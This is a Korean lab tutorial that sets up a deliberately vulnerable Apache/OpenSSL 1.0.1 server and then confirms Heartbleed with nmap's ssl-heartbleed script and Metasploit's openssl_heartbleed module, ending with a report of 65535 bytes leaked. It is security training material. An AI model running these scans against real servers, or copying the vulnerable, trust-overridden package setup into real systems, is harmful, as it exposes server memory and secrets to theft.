Search

취약한 웹 서버 세팅 (하트블리드)

환경

운영체제
Ubuntu 22.04
Apache2
2.2.22
openssl
1.0.1

구버전 레포지토리 등록

sudo vi /etc/apt/sources.list
Bash
복사
아래 내용 추가
deb [trusted=yes] http://old-releases.ubuntu.com/ubuntu/ precise main universe
Bash
복사
업데이트 진행
sudo apt update
Bash
복사
다운로드 가능한 패키지 버전 조회
apt-cache policy <패키지명>
Bash
복사

Apache2 다운로드 및 설정

패키지 다운로드

sudo apt install -y apache2=2.2.22-1ubuntu1
Bash
복사

SSL 모듈 활성화

sudo a2enmod ssl systemctl restart apache2
Bash
복사

자체 서명 인증서, 키 설정

폴더 생성

mkdir /etc/apache2/ssl cd /etc/apache2/ssl
Bash
복사

자체서명된 인증서, 키 생성

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt
Bash
복사
아래 설정으로 진행 (예시)
Country Name (2 letter code) [AU]:KR State or Province Name (full name) [Some-State]:Seoul Locality Name (eg, city) []:Seoul Organization Name (eg, company) [Internet Widgits Pty Ltd]:test Organizational Unit Name (eg, section) []:IT Common Name (e.g. server FQDN or YOUR name) []:ubuntu1.example.com Email Address []:
Bash
복사

생성된 인증서, 키 확인

ls -l /etc/apache2/ssl/
Bash
복사

Apache 기본 SSL 설정 구성

vi /etc/apache2/sites-available/default-ssl
Bash
복사
Servername 추가
<서버 IP>:443
Bash
복사
SSL 인증서와 개인 키 파일 경로 수정
SSLCertificateFile /etc/apache2/ssl/webserver.crt SSLCertificateKeyFile /etc/apache2/ssl/webserver.key
Bash
복사

사용중인 SSl 프로토콜 확인

하트블리드는 SSLv3, TLS 1.0, 1.1, 1.2 에서 발생
grep -r 'SSLProtocol' /etc/apache2/
Bash
복사

SSL 사이트 설정 활성화

a2ensite default-ssl systemctl restart apache2
Bash
복사

사이트 확인

브라우저에서 https 로 접근

자체 서명 인증서, 키로 SSL 통신이 정상적으로 이루어지고 있음을 확인

취약점 스캔

NMAP

칼리 리눅스에서 진행
nmap -sV --script=ssl-heartbleed <서버 IP>
Bash
복사
결과
하트블리드 취약점 확인

Metasploit

msfconsole
Bash
복사

하트블리드 취약잠 탐지 모듈 실행

use auxiliary/scanner/ssl/openssl_heartbleed
Bash
복사
서버 IP 설정
set RHOST <서버 IP>
Bash
복사
옵션 확인
show options
Bash
복사

하트블리트 취약점 탐지 실행

run
Bash
복사
결과
Heartbleed 취약점을 이용해 서버에서 65535 바이트의 데이터가 유출됨 확인